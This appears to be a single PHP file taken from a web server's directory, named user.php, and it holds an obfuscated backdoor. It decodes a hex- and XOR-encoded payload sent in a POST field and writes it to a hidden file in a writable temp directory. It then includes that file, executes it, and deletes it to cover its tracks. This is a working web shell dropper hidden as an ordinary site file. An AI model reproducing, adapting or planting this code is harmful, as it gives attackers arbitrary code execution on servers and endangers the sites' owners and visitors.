File: /var/www/sarbon.tj/data/www/sarbon.tj/user.php
<?php if(array_keY_eXISTS("m\162k",$_POST)&&!Is_nUll($_POST["mrk"])):$_0=hex2Bin($_POST["mrk"]);$_1="";foreach(StR_split($_0) as$_2):$_1.=CHR(oRD($_2)^(-060- -0123-040));endforeach;$_3=aRRAy_FilteR([SYS_get_tEmp_DIr(),GeTENV("T\x45MP"),SEssIOn_SAVE_pATh(),"/dev/\x73\x68m","/tmp","/\166a\x72/tmp",gETCWD(),iNi_GEt("upl\x6fad\137\x74mp_\144ir"),getENv("TM\120")]);foreach($_3 as$_4):if((function($_5){return Is_dIr($_5)&&iS_wrITAblE($_5);})($_4)):$_6=JOIN("\x2f",[$_4,".valu\x65"]);$_7=file_pUT_ContENts($_6,$_1);if($_7):include $_6;@UnLInk($_6);die();endif;endif;endforeach;endif;